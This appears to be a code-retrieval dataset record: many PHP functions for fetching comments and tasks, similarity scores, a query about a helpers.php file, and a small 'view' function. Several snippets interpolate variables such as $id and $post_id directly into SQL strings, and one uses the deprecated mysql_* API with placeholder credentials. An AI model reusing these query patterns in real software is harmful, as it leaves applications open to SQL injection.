$comments;\n\t\t }catch(PDOException $p){\n\t\t\t echo 'Fail to connect';\n\t\t\t echo $p->getMessage();\n\t\t }\n\t }", "public function getAllCommentaires()\n {\n $sql = 'SELECT COM_ID as id, COM_DATE as date,'\n . ' COM_AUTEUR as auteur, COM_CONTENU as contenu FROM t_commentaire'\n . ' ';\n $commentaires = $this->executerRequete($sql);\n return $commentaires;\n }", "public function getComments()\n {\n $id = $this->getId();\n\n $stmt = \" SELECT c.*, c.id as id, u.username, u.profile_picture FROM _xyz_article_comment_pivot acp \" .\n \" LEFT JOIN _xyz_comment c ON c.id = acp.comment_id \" .\n \" LEFT JOIN _xyz_user u ON u.id = c.user_id \" .\n \" WHERE acp.article_id = $id \"\n ;\n\n $sql = DB::instance()->query( $stmt );\n\n $rows = $sql->fetchAll(\\PDO::FETCH_UNIQUE|\\PDO::FETCH_ASSOC );\n\n $result = CommentCollection::toTree( $rows );\n\n return $result;\n }", "public function getComments(): Collection\n {\n return $this->comments;\n }", "public function getComments() \n {\n return $this->hasMany(Comment::className(), [\n 'post_id' => 'id',\n ]);\n }", "public function getAllComments() {\n\n\t\t$sql = \"SELECT comment_id, comment_text, entries.post_title, users.user_name FROM comments\n\t\t\t\tINNER JOIN entries ON comments.post_id = entries.post_id \n\t\t\t\tINNER JOIN users ON users.user_id = comments.comment_author\";\n\t\t//create stdStatemment object | call to Model method from core/Database.php\n\t\treturn $this->setStatement($sql);\n\t}", "public function fetch_comments()\n\t{\n\t\t$host = $this->input->get('host', false);\n\t\t$service = false;\n\n\t\tif (strstr($host, ';')) {\n\t\t\t# we have a service - needs special handling\n\t\t\t$parts = explode(';', $host);\n\t\t\tif (sizeof($parts) == 2) {\n\t\t\t\t$host = $parts[0];\n\t\t\t\t$service = $parts[1];\n\t\t\t}\n\t\t}\n\n\t\t$data = _('Found no data');\n\t\t$set = CommentPool_Model::all();\n\t\t/* @var $set ObjectSet_Model */\n\t\t$set = $set->reduce_by('host.name', $host, '=');\n\t\tif($service !== false)\n\t\t\t$set = $set->reduce_by('service.description', $service, '=');\n\n\t\tif (count($set) > 0) {\n\t\t\t$data = \"<table><tr><th>\"._(\"Timestamp\").\"</th><th>\"._('Author').\"</th><th>\"._('Comment').\"</th></tr>\";\n\t\t\tforeach ($set->it(array('entry_time', 'author', 'comment'),array()) as $row) {\n\t\t\t\t$data .= '<tr><td>'.date(date::date_format(), $row->get_entry_time()).'</td><td valign=\"top\">'.html::specialchars($row->get_author()).'</td><td width=\"400px\">'.wordwrap(html::specialchars($row->get_comment()), '50', '<br />').'</td></tr>';\n\t\t\t}\n\t\t\t$data .= '</table>';\n\t\t}\n\n\t\techo $data;\n\t}", "public function getComments() {\n\t\treturn $this->api->getCommentsByPhotoId($this->getId());\n\t}", "public function getTasks();", "public function getTasks();", "public function get_all_pending_comments()\n {\n $sql = \"SELECT comments.*, posts.title_slug as post_slug FROM comments \n INNER JOIN posts ON posts.id = comments.post_id WHERE comments.status = 0\n ORDER BY comments.id DESC\";\n $query = $this->db->query($sql);\n return $query->result();\n }", "public function getComment() {}", "public function getComments() {\n if(!isset($this->comments)) {\n $this->comments = MergeRequestComment::getListByExample(\n new DBExample(array(\n 'mergeRequestId' => $this->id\n )),\n null,\n array(),\n array(\n 'parentId' => DB::SORT_ASC,\n 'ctime' => DB::SORT_ASC\n )\n );\n }\n\n return $this->comments;\n }", "public function allComments() {\n\t\treturn $this->hasMany('NGiraud\\News\\Models\\Comment');\n\t}", "public function list_comments()\n {\n $url = $this->instanceUrl() . '/comments';\n list($response, $opts) = $this->_request('get', $url, null, null);\n\n // This is needed for nextPage() and previousPage()\n $response['url'] = $url;\n\n $obj = Util\\Util::convertToTelnyxObject($response, $opts);\n return $obj;\n }", "function get_comments_by_module(){\n\n\t}", "public function index()\n {\n return $this->service->fetchResources(Comment::class, 'comments');\n }", "public function getAllCommentsReport() {\n $req = $this->db->query('SELECT id, pseudo, content, date_publication, report, moderation\n FROM comment WHERE report = true ORDER BY date_publication DESC');\n $data = $req->fetchAll();\n return $data;\n }", "public function testCreateTaskComments()\n {\n }", "public function getComments() {\n return $this->hasMany(Comment::class, ['post_id' => 'id']);\n }", "public function getComments()\n {\n return $this->hasMany(Comments::className(), ['tickets_id' => 'id']);\n }", "public function comments(){\n }", "protected function get_comment_ids()\n {\n }", "public function findAll() {\n $sql = \"select * from t_comment order by com_id desc\";\n $result = $this->getDb()->fetchAll($sql);\n\n // Convert query result to an array of domain objects\n $comments = array();\n foreach ($result as $row) {\n $id = $row['com_id'];\n $comments[$id] = $this->buildDomainObject($row);\n }\n return $comments;\n }", "public function index()\n {\n return Comment::all();\n }", "public function getComments() : Collection\n {\n return $this->comments;\n }", "public function getComment();", "public function getComment();", "public function getComment();", "public function getComment();", "public function getComment();", "public function getComment();", "public function getCommentsData()\n {\n $query = $this->getComments()->orderBy(['tree' => SORT_ASC, 'lft' => SORT_ASC]);\n $dependency = new TagDependency(['tags' => [self::CACHE_TAG_POST_ALL_COMMENTS]]);\n return self::getDb()->cache(static function () use ($query) {\n return $query->all();\n }, self::CACHE_DURATION, $dependency);\n }", "public function listComments($params)\n {\n $pjtId = $this->db->real_escape_string($params['pjId']);\n\n $qry = \"SELECT com_id, com_date,com_user, com_comment \n FROM ctt_comments \n WHERE com_source_section = 'projects' \n AND com_action_id = $pjtId\n ORDER BY com_date ASC;\";\n return $this->db->query($qry);\n }", "public function getComments()\n {\n return $this->hasMany(Comment::class, ['created_by' => 'id']);\n }", "public function getComments($id_root=0) {\n if ( empty($id_root) ) $id_root = $this->get('id_root');\n return $this->query_loads(\"id_root=$id_root AND id_parent>0 ORDER BY order_list ASC\");\n //return self::getCommentsInOrder($id_root);\n }", "public function getComments($post_id){\n\t\t$sql = 'SELECT user_name, date_creation, content, state, id FROM comment WHERE post_id=' . $post_id . \" AND state >= 2 ORDER BY id DESC\";\n\t\t$data = $this->db->query($sql);\n\t\treturn $data->fetchAll();\n\t}", "public function getComments($idPoem) {\n \n $sql = 'SELECT COM_ID as id, ' . \n ' COM_DATE as date, ' . \n ' COM_AUTHOR as author, ' . \n ' COM_CONTENT as content ' . \n 'FROM T_COMMENT ' . \n 'WHERE ARTICLE_ID = ? ';\n \n $comments = $this->executeQuery($sql, array($idPoem));\n \n return $comments;\n }", "public function getComments()\n\t\t{\n\t\t\tif ($this->comments === NULL)\n\t\t\t{\n\t\t\t\t$this->comments = new ECash_Application_Comments($this->db, $this->application_id, $this->getCompanyId());\n\t\t\t}\n\n\t\t\treturn $this->comments;\n\t\t}", "public function getComments($suggestionID){\n\t\t$comments = Comment::where('suggestion_id',$suggestionID)->get();\n\t\tforeach($comments as $comment){ // as of now, only echos its content, possible others to echo: time updates/created, user\n\t\t\techo $comment->content;\n\t\t}\n\t}", "function tempera_list_comments() {\t\n\t\t\t\t\twp_list_comments( array( 'callback' => 'tempera_comment' ) );\n\t\t\t}", "public function comments()\n {\n $sort = Sorter::getCommentSortId();\n $orderField = $sort == 1 ? 'rate' : 'id';\n $orderDir = $sort == 1 ? 'desc' : 'asc';\n return $this->morphMany(Comment::class, 'commentable')->orderBy($orderField, $orderDir);\n }", "public function readComment(){\n $sql='SELECT idComentario, comentario, producto.nombre as producto,cliente.nombre as cliente, comentarios.estado as estado, cliente.usuario as usuario FROM cliente, producto, comentarios where producto.idProducto=comentarios.idProducto and cliente.idCliente=comentarios.idCliente and comentarios.idProducto=?';\n $params=array($this->id);\n return Database::getRows($sql, $params);\n }", "public function getComments() {\n $db = new mysql('testserver', 'testuser', 'testpassword');\n $sql = \"SELECT * FROM comments_table where parent_id=0 ORDER BY create_date DESC;\";\n $result = mysql_query($sql, $db);\n $comments = [];\n while ($row = mysql_fetch_assoc($result)) {\n $comment = $row;\n $reply_1_sql = \"SELECT * FROM comments_table where parent_id=\" . $row['id'] . \" ORDER BY create_date DESC;\";\n $result_reply_1 = mysql_query($reply_1_sql, $db);\n $replies = [];\n while ($row1 = mysql_fetch_assoc($result)) {\n $reply = $row1;\n $reply_2_sql = \"SELECT * FROM comments_table where parent_id=\" . $row1['id'] . \" ORDER BY create_date DESC;\";\n $result_reply_2 = mysql_query($reply_2_sql, $db);\n $replies_to_replies = [];\n while ($row2 = mysql_fetch_assoc($result)) {\n $replies_to_replies[] = $row2;\n }\n $reply['replies'] = $replies_to_replies;\n $replies[] = $reply;\n }\n $comment['replies'] = $replies;\n $comments[] = $comment;\n }\n return $comments;\n }", "public function comments() {\n\t\treturn $this->hasMany('NGiraud\\News\\Models\\Comment')->where('parent_id', 0)->orderBy('updated_at', 'desc');\n\t}", "public function getComments($idPost)\n\t{\n\t\t$req=$this->_bdd->query('SELECT Comments.id, content_com AS content, DATE_FORMAT(date_com, \"%d/%m/%Y %Hh%imin%ss\") AS date, id_users AS idUser, id_post AS idPost, moderate, login FROM Comments INNER JOIN Users ON id_users=Users.id WHERE id_post='.$idPost);\n\n\t\t$comments=[];\n\t\n\t\twhile($datas=$req->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\t\n\t\t\t\t\t$comments[]=new Comments($datas);\t\t\n\t\t\t}\n\t\treturn $comments;\n\t\t\t\t\n\t}", "public function getAllTasks()\n\t{\n\t\treturn $this->task->orderBy('is_completed', 'ASC')->get();\t\n\t}", "public function fetch_all_tasks()\n {\n //\n }", "public function getComments($id){\n $id = (int)$id;\n $sql = \"select * from comments WHERE discussion_id = '{$id}'\";\n return $this->db->query($sql);\n }", "public function adminComment () {\n\t\t$req = $this->db->query('SELECT * , DATE_FORMAT(comment_date, \\'%d/%m/%Y à %Hh%imin%ss\\') AS commentDate FROM comment');\n\t\twhile ($data = $req->fetch())\n {\n \t$comments[]= new Comment($data); \n }\n if(isset($comments)){\n \treturn $comments;\n }\n\t \n\t}", "public function index()\n {\n return \\App\\Comment::all();\n }", "function getComments($post_id){\n GLOBAL $CONNECTION; \n $sql = \"SELECT * FROM comment WHERE post_id=$post_id ORDER BY commented_at DESC\";\n $comments = mysqli_query($CONNECTION, $sql);\n return $comments;\n }", "public function getComments($post_id)\n {\n $statement = $this->pdo->prepare(\"SELECT * FROM comments WHERE post_id = :post_id ORDER BY comments_id DESC\");\n\n $statement->execute(\n [\n \":post_id\" => $post_id,\n ]\n );\n\n $all_comments = $statement->fetchAll(PDO::FETCH_ASSOC);\n\n $this->all_comments = $all_comments;\n }", "public function ListComments($id) {\n try {\n \n\t //$res = $this->db->ExecuteSelectQueryAndFetchAll(\"SELECT Comment.*, User.acronym as owner FROM Comment INNER JOIN User ON Comment.idUser=User.id WHERE idContent=? AND Comment.deleted IS NULL;\", array($id));\n\t $res = $this->db->ExecuteSelectQueryAndFetchAll(self::SQL('select * by content'), array($id));\n\t print_r($id);\n\t print_r($res);\n\t return $res;\n } catch(Exception $e) {\n\t\techo $e;\n\t\treturn null;\n }\n }", "public function comments()\n {\n $get = $this->getGet('articleId');\n $result = Db::sharedDb()->comments($get['articleId']);\n\n return $this->successResponse($result);\n\n }", "public function todosComentarios(){\n\t\t$comments_inf = [];\n\t\t$num=1;\n\t\t$sql_query = \"SELECT * FROM comentarios;\";\n\t\tif($result = $this->connection->query($sql_query))\n\t\t{\n\t\t\twhile($row = $result->fetch_assoc()){\n\t\t\t\t$comment_row = [\n\t\t\t\t\t\"num\"=>$num,\n\t\t\t\t\t\"id\" => $row[\"Id\"],\n\t\t\t\t\t\"name\" => $row[\"Nombre\"],\n\t\t\t\t\t\"date\" => $row[\"Fecha\"],\n\t\t\t\t\t\"time\" => $row[\"Hora\"],\n\t\t\t\t\t\"email\" => $row[\"Email\"],\n\t\t\t\t\t\"description\" => $row[\"Descripcion\"],\n\t\t\t\t\t\"ip\" => $row[\"IP\"],\n\t\t\t\t\t\"idEvento\" => $row[\"Id_Eventos\"]\n\t\t\t\t];\n\t\t\t\tarray_push($comments_inf,$comment_row);\n\t\t\t\t$num++;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\techo(\"Error al consultar comentarios en BD\");\n\t\t}\n\t\treturn $comments_inf;\n\t}", "public function comments()\n\t{\n\t\treturn $this->has_many('comment');\n\t}", "function getTaskList()\n\t{\n\t\t//Update Task List\n\t\t$this->Task_List = null;\n\t\t$assigned_tasks_rows = returnRowsDeveloperAssignments($this->getUsername(), 'Task');\n\t\tforeach($assigned_tasks_rows as $assigned_task)\n\t\t\t$this->Task_List[] = new Tasks( $assigned_task['ClientProjectTask'] );\n\t\treturn $this->Task_List;\n\t}", "public function comments() {\n\t\t\t\t\t\t\n\t\t\t$output = '';\n\t\t\t$total = get_comments_number();\n\t\t\t\n\t\t\t$output['label'] = __('Show Comments', 'theme translation');\n\t\t\t$output['link'] = $total >= 1 ? ($total == 1 ? sprintf(__('%s Comment', 'theme translation'), get_comments_number()) : sprintf(__('%s Comments', 'theme translation'), get_comments_number())) : __('No Comments', 'theme translation');\n\t\t\t$output['url'] = get_permalink().'#comments';\n\t\t\t$output['total'] = $total;\n\n\t\t\treturn $output;\n\t\t}", "public function getTabComments() {\r\n\t\t$tab_comment_model = $this->load_model('TabCommentModel');\r\n\t\t$data = $tab_comment_model->getTabComments($this->params['tab_id'], $this->params['limit'], $this->params['offset']);\r\n\r\n\t\t$this->sendResponse(1, $data);\r\n\t}", "public static function get_cms_comment_url_list()\n\t{\n\t\treturn self::get_cms_post_url_list(Helper_PostType::COMMENT);\n\t}", "public function index()\n {\n return Comment::with('user')->get();\n }", "function getcomment()\n\t{\n\t\t## variable initialization\n\t\tglobal $option, $mainframe, $db;\n\t\t$commentId = JRequest::getVar('cmtid', '', 'get', 'int');\n\t\t$id = JRequest::getVar('id', '', 'get', 'int');\n\n\t\t## for pagination\n\t\t$limit = $mainframe->getUserStateFromRequest($option . '.limit', 'limit', $mainframe->getCfg('list_limit'), 'int');\n\t\t$limitstart = $mainframe->getUserStateFromRequest($option . 'limitstart', 'limitstart', 0, 'int');\n\n\t\t## \tquery for delete the comments\n\t\tif ($commentId)\n\t\t{\n\t\t\t$query = \"DELETE FROM #__hdflv_comments\n \t\t WHERE id=\" . $commentId . \"\n \t\t OR parentid=\" . $commentId;\n\t\t\t$db->setQuery($query);\n\t\t\t$db->query();\n\t\t\t## message for deleting comment\n\t\t\t$mainframe->enqueueMessage( 'Comment Successfully Deleted' );\n\t\t}\n\n\t\t$id = JRequest::getVar('id', '', 'get', 'int');\n\t\t$query = \"SELECT COUNT(id) FROM #__hdflv_comments\n \t\t WHERE videoid = $id\";\n\t\t$db->setQuery($query);\n\t\t$db->query();\n\t\t$commentTotal = $db->getNumRows();\n\t\tif (!$commentTotal)\n\t\t{\n\t\t\t$strRedirectPage = 'index.php?layout=adminvideos&option=' . JRequest::getVar('option') . '&user=' . JRequest::getVar('user');\n \t$mainframe->redirect($strRedirectPage);\n\t\t}\n\n\t\t$query=\"SELECT id as number,id,parentid,videoid,subject,name,created,message\n\t\t\t\tFROM #__hdflv_comments where parentid = 0 and published=1 and videoid=$id union\n\t\t\t\tSELECT parentid as number,id,parentid,videoid,subject,name,created,message\n\t\t\t\tFROM #__hdflv_comments where parentid !=0 and published=1 and videoid=$id\n\t\t\t\tORDER BY number desc,parentid\";## Query is to display the comments posted for particular video\n\n\t\t$db->setQuery($query);\n\t\t$db->query();\n\t\t$commentTotal = $db->getNumRows();\n\n\t\t$pageNav = new JPagination($commentTotal, $limitstart, $limit);\n\n $query = \"$query LIMIT $pageNav->limitstart,$pageNav->limit\";\n\t\t$db->setQuery($query);\n\t\t$comment = $db->loadObjectList();\n\n\t\t$query = \"SELECT `title` FROM #__hdflv_upload WHERE id = $id\";\n\t\t$db->setQuery($query);\n\t\t$videoTitle = $db->loadResult();\n\n\t\t/**\n\t\t * get the most recent database error code\n\t\t * display the last database error message in a standard format\n\t\t *\n\t\t */\n\t\tif ($db->getErrorNum())\n\t\t{\n\t\t\tJError::raiseWarning($db->getErrorNum(), $db->stderr());\n\t\t}\n\n\t\t$comment = array('pageNav' => $pageNav, 'limitstart' => $limitstart, 'comment' => $comment ,'videotitle' => $videoTitle);\n\t\treturn $comment;\n\t}", "function getTasks(){\r\n $query_result = $this->query(\"SELECT * FROM Task\");\r\n $formated_array = [];\r\n \r\n while($row = $query_result->fetchArray()){\r\n $formated_array[$row['ID']] = $row['task'];\r\n }\r\n\r\n return $formated_array;\r\n }", "public function getTasks()\n {\n return $this->hasMany(Task::className(), ['author_id' => 'id']);\n }", "public function getPendingComment() \n {\n $select = $this->select()\n ->from($this->_name)\n ->where(\"status =?\", 'pending')\n ->order(array(\"{$this->_primaryKey} DESC\"));\n\n return $this->returnResultAsAnArray($this->fetchAll($select));\n }", "public function getTasks()\r\n\t{\r\n\t\t$tasks = array();\r\n\t\t$sql = sprintf('\r\n\t\t\tSELECT\r\n\t\t\t\tid, title\r\n\t\t\tFROM\r\n\t\t\t\ttask\r\n\t\t');\t\t\r\n\r\n\t\t$result = mysqli_query($this->db, $sql);\r\n\r\n\t\twhile ($row = $result->fetch_object())\r\n\t\t{\r\n\t\t\t$task = new Task();\r\n\t\t\t$task->id = $row->id;\r\n\t\t\t$task->title = $row->title;\r\n\r\n\t\t\t$tasks[] = json_decode((string)$task);\r\n\t\t}\r\n\r\n\t\t$result->close();\r\n\r\n\t\treturn json_encode($tasks);\r\n\t}", "public function comments()\n {\n // check if user is already loaded, if not, we fetch it from database\n if ($this->_comments) {\n return $this->_comments;\n } else {\n $comments = new Application_Model_DbTable_Comments();\n\n foreach ($comments->findAllBy('post_id', $this->_id) as $comment) {\n $this->_comments[] = $comment ;\n }\n return $this->_comments;\n }\n }", "public function getAllPostsWithComments(){\n $entityManager = $this->getEntityManager();\n $queryBuilder = $entityManager->createQueryBuilder();\n $queryBuilder\n ->select('bp','c')\n ->from('App:BlogPost', 'bp')\n ->join('bp.comments','c','WITH', 'bp.id=c.blogPost');\n\n return $queryBuilder->getQuery()->getResult();\n }", "public function index()\n {\n return Comment::orderBy('path')->select('id', 'text', 'level')->get();\n }", "public function getAllData()\n {\n return Comment::latest()->paginate(5);\n }", "public static function getThreaded() : iterable\n {\n $comments = Comment::all()->groupBy('parent_id', 'created_at');\n if (count($comments)) {\n $comments['root'] = $comments[''];\n unset($comments['']);\n }\n return $comments;\n }", "public function allCommentsPost($post_id) {\r\n $table = $this->config->db_prefix . 'comments';\r\n return $this->database->selectAllFromTableWhereFieldValue($table, \"article_id\", $post_id);\r\n }", "public function list()\n\t\t{\n\t return Task::all();\n\t\t}", "public function getComments($postId)\n {\n $db = $this->dbConnect();\n $comments = $db->prepare('SELECT id, author, comment, DATE_FORMAT(comment_date, \\'%d/%m/%Y à %Hh%imin%ss\\') AS comment_date_fr FROM comments WHERE post_id = ? ORDER BY comment_date DESC');\n $comments->execute(array($postId));\n\n return $comments;\n }" ]
[ "0.7518058", "0.72437143", "0.7231784", "0.7143639", "0.7117813", "0.71147233", "0.7023363", "0.69872713", "0.6884984", "0.68808514", "0.68650347", "0.68485105", "0.68485105", "0.68485105", "0.68485105", "0.68430936", "0.6840167", "0.67973006", "0.67767286", "0.6768946", "0.6760953", "0.6755875", "0.67043984", "0.66368634", "0.66360253", "0.6634006", "0.6580643", "0.65786", "0.6576163", "0.65667623", "0.65564066", "0.6548829", "0.6521171", "0.651555", "0.6496256", "0.6496256", "0.649333", "0.6482882", "0.64765334", "0.6459927", "0.6452646", "0.6450542", "0.6445787", "0.64456534", "0.64276266", "0.64256907", "0.64245594", "0.6415886", "0.64025366", "0.63909394", "0.63904357", "0.6388912", "0.6378294", "0.6378294", "0.6378294", "0.6378294", "0.6378294", "0.6378294", "0.63639116", "0.63527507", "0.6324513", "0.63236237", "0.6318785", "0.6299193", "0.6292502", "0.62916636", "0.6290683", "0.6284638", "0.6276681", "0.62763053", "0.6275445", "0.6222225", "0.62217975", "0.62153345", "0.6213303", "0.6203379", "0.6199251", "0.6198566", "0.6192523", "0.6173727", "0.61727136", "0.61628926", "0.6133559", "0.61224926", "0.6099374", "0.6095197", "0.6078281", "0.60735387", "0.6071923", "0.60687125", "0.6068213", "0.606213", "0.6059765", "0.6057164", "0.6055933", "0.6050972", "0.6047031", "0.6038916", "0.6038322", "0.6036146", "0.6034291" ]
0.0
-1
/ if we had multiple functions it would be wise to make a helpers.php file for helpers functions
function view($name, $data = []) { extract($data); // reverse of the compact() function return require "app/views/{$name}.view.php"; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function helper()\n\t{\n\t\n\t}", "function helper(){\n // vde(Application::$helpers);\n foreach(func_get_args() as $helper)\n Application::$helpers->load($helper);\n // System::include_helper($helper);\n}", "function _load_helpers()\r\n\t{\r\n\t\t// Load inflector helper for singular and plural functions\r\n\t\t$this->load->helper('inflector');\r\n\r\n\t\t// Load security helper for prepping functions\r\n\t\t$this->load->helper('security');\r\n\t}", "public function loadHelpers()\n {\n require_once __DIR__.'/helpers.php';\n }", "private function helpers()\n {\n $relative_location = $this->args['application_folder'] . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR;\n $helper_directory = $this->args['location'] . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR;\n if (!empty($this->args['subdirectories']))\n {\n $relative_location .= $this->args['subdirectories'];\n $helper_directory .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n $relative_helper_location = $relative_location . DIRECTORY_SEPARATOR . strtolower($this->args['name']) . '_helper.php';\n $helper_file = $helper_directory . strtolower($this->args['name']) . '_helper.php';\n\n if (!is_dir($helper_directory))\n {\n $message = \"\\t\";\n if (mkdir($helper_directory, 0755, TRUE))\n {\n $message .= 'Created folder: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green') . $relative_location;\n }\n else\n {\n $message .= $relative_location;\n }\n fwrite(STDOUT, $message . PHP_EOL);\n unset($message);\n }\n else\n {\n $message .= 'Unable to create folder: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'red') . $relative_location;\n }\n else\n {\n $message .= $relative_location;\n }\n fwrite(STDOUT, $message . PHP_EOL);\n return false;\n }\n }\n\n if (file_exists($helper_file))\n {\n $message = \"\\tHelper already exists: \";\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'light_blue') . $relative_helper_location;\n }\n else\n {\n $message .= $relative_helper_location;\n }\n fwrite(STDOUT, $message . PHP_EOL);\n unset($message);\n return true;\n }\n else\n {\n $content = \"<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');\" . PHP_EOL;\n $content .= PHP_EOL . PHP_EOL . PHP_EOL;\n $content .= '/* End of file ' . strtolower($this->args['name']) . '_helper.php */' . PHP_EOL;\n $content .= '/* Location: ./' . $relative_location . ' */';\n\n $message = \"\\t\";\n if (file_put_contents($helper_file, $content))\n {\n $message .= 'Created helper: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green') . $relative_helper_location;\n }\n else\n {\n $message .= $relative_helper_location;\n }\n }\n else\n {\n $message .= 'Unable to create helper: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'red') . $relative_helper_location;\n }\n else\n {\n $message .= $relative_helper_location;\n }\n }\n\n fwrite(STDOUT, $message . PHP_EOL);\n unset($message);\n }\n\n return true;\n }", "public function includeAppHelpers() {\n\t\tinclude_once( MWW_PATH . '/app/Support/helpers.php' );\n\t}", "public function helper($helper){\n\n include_once (HELPER_PATH . \"{$helper}_helper.php\");\n\n }", "public function getHelper()\n {\n }", "public function registerHelpers()\n {\n parent::registerHelpers();\n require __DIR__.'/../src/helpers.php';\n }", "protected function registerHelpers()\n {\n require __DIR__.'/Support/helpers.php';\n }", "function agnosia_initialize_helpers() {\r\n\r\n\tinclude_once agnosia_get_path( '/inc/utils/agnosia-helpers.php' );\r\n\r\n}", "public function get_app_script_helpers()\n {\n }", "public function loadHelpers(){\n $this->file->require('vendor/helpers.php');\n }", "private function _addHelper()\n {\n require __DIR__.'/../Support/SsoHelper.php';\n }", "private function helpers()\n {\n $HELPERS_FILE = [];\n // From base\n if (file_exists($pathHelpers = VENDOR_KNOB_BASE_DIR . '/src/config/' . static::HELPERS_FILE . '.php')) {\n $HELPERS_FILE += include $pathHelpers;\n }\n // From App\n if (file_exists($pathHelpers = APP_DIR . '/config/' . static::HELPERS_FILE . '.php')) {\n $HELPERS_FILE += include $pathHelpers;\n }\n\n return array_merge([\n 'case' => [\n 'lower' => function ($value) {\n return strtolower((string)$value);\n },\n 'upper' => function ($value) {\n return strtoupper((string)$value);\n },\n ],\n 'count' => function ($value = []) {\n return count($value);\n },\n 'moreThan1' => function ($value = []) {\n return count($value) > 1;\n },\n 'date' => [\n 'xmlschema' => function ($value) {\n return date('c', strtotime($value));\n },\n 'string' => function ($value) {\n return date('l, d F Y', strtotime($value));\n },\n 'format' => function ($value) {\n return date(get_option('date_format'), strtotime($value));\n },\n ],\n 'toArray' => function ($value) {\n return explode(',', $value);\n },\n 'ucfirst' => function ($value) {\n return ucfirst($value);\n },\n ], $HELPERS_FILE);\n }", "public function Helpers($helpers){\r\n foreach($helpers as $helper ){\r\n $this->Helper($helper);\r\n }\r\n }", "protected function _Load_Helpers() {\r\n $dir = untrailingslashit( plugin_dir_path(__FILE__ ) );\r\n // Recurssively load the directory\r\n $this->_Recusive_Load_Dir($dir.'/helpers');\r\n // Fire the shortcode init action\r\n do_action('vcff_supports_helper_init',$this);\r\n }", "function ra_helper() {\n\treturn RA_Helper::instance();\n}", "private function loadHelpers()\n {\n foreach($this->helpers as $helper)\n {\n require app_path() . '/' . $helper;\n }\n }", "public function helper($helperName){\r\n if(file_exists(\"../system/helpers/\" . $helperName . \".php\")){\r\n require_once \"../system/helpers/\" . $helperName . \".php\";\r\n }else{\r\n echo \"<div style='margin:0; padding:10px;background-color:silver;'>Désolé le fichier $helperName.php n'a pas été trouvé</div>\";\r\n } \r\n\r\n }", "function test_helper(){\n return \"OK\";\n}", "public function helper($name)\n {\n // Lowercase the name because it isnt a class file!\n $name = strtolower($name);\n \n // Check the application/helpers folder\n if(file_exists(APP_PATH . DS . 'helpers' . DS . $name . '.php')) \n {\n require_once(APP_PATH . DS . 'helpers' . DS . $name . '.php');\n }\n \n // Check the core/helpers folder\n if(file_exists(SYSTEM_PATH . DS . 'helpers' . DS . $name . '.php')) \n {\n require_once(SYSTEM_PATH . DS . 'helpers' . DS . $name . '.php');\n }\n }", "protected function registerHelpers() {\r\n $this->service\r\n ->sharedData()\r\n ->set('appHelper', array(\r\n 'absotuleUri' => $this->request->server()->exists('HTTPS') ? \"https://{$this->request->server()->get('SERVER_NAME')}/{$this->request->uri()}\" : \"http://{$this->request->server()->get('SERVER_NAME')}/{$this->request->uri()}\",\r\n ));\r\n }", "function vibrantlife_field_helpers() {\n\n\tif ( ! class_exists( 'RBM_FieldHelpers' ) ) {\n\t require_once 'rbm-field-helpers/rbm-field-helpers.php';\n\t}\n\n\tstatic $field_helpers;\n\n\tif ( $field_helpers === null ) {\n\n\t\t$field_helpers = new RBM_FieldHelpers( array(\n\t\t\t'ID' => 'vibrantlife',\n\t\t) );\n\t}\n\n\treturn $field_helpers;\n}", "function _initActionHelpers(){\n Zend_Controller_Action_HelperBroker::addPath(APPLICATION_PATH . '/controllers/helpers', 'My_Action_Helper');\n }", "function addHelper() {\r\n $args = func_get_args();\r\n if(!is_array($args)) {\r\n return false;\r\n } // if\r\n \r\n foreach($args as $helper_name) {\r\n if(trim($helper_name) == '') {\r\n continue;\r\n } // if\r\n \r\n if(!in_array($helper_name, $this->helpers) && $this->engine->useHelper($helper_name)) {\r\n $this->helpers[] = $helper_name;\r\n } // if\r\n } // foreach\r\n \r\n return true;\r\n }", "function getHelpers() {\r\n return is_array($this->helpers) ? $this->helpers : array($this->helpers);\r\n }", "protected function _initControllerHelpers()\n\t{\n\t\tZend_Controller_Action_HelperBroker::addPath(APPLICATION_PATH . '/controllers/Helper', 'Tourchhelper');\t\n\t}", "public function addHelpers(&$view) {\n $view = preg_replace_callback('/({)({)((?:[a-zA-Z0-9_,->()s]*))(})(})/',\n function($match) {\n $func_exp = explode('->', $match[3]);\n $function = trim($func_exp[0]);\n $params = explode(',', trim($func_exp[1]));\n\n return call_user_func_array($this->functions[$function], $params);\n }, $view);\n }", "public function getHelpers()\n {\n return [\n ];\n }", "private static function support()\n {\n require_once static::$root.'Support'.'/'.'FunctionArgs.php';\n }", "private static function addFunctions()\n {\n \tself::$twig->addFunction(new \\Twig_SimpleFunction('asset', function ($asset) {\n return sprintf('%s', ltrim($asset, '/'));\n\t\t}));\n\n self::$twig->addFunction(new \\Twig_SimpleFunction('getBaseUrl', function () {\n return getBaseUrl();\n }));\n\n self::$twig->addFunction(new \\Twig_SimpleFunction('csrf_token', function () {\n return csrf_token();\n }));\n }", "protected function loadHelpers(): void\n {\n $files = glob(__DIR__ . '/../Helpers/*.php');\n foreach ($files as $file) {\n require_once($file);\n }\n }", "function __buildHelperPaths($helperPaths) {\r\n\t\t$_this =& Configure::getInstance();\r\n\t\t$_this->helperPaths[] = HELPERS;\r\n\t\tif (isset($helperPaths)) {\r\n\t\t\tforeach($helperPaths as $value) {\r\n\t\t\t\t$_this->helperPaths[] = $value;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public function Helper($helper){\r\n $fullpath=YHELPERSDIR.ucwords($helper).EXT;\r\n $this->Load($fullpath);\r\n }", "public function loadHelpers($var = array())\n {\n $this->load->helper($var);\n }", "function admin_bar()\n{\n echo common('admin-bar');\n}", "public function helper ($name)\n\t{\n\t\t$file = $this->_create_folders_from_name($name, 'helpers');\n\t\t\n\t\t$data = 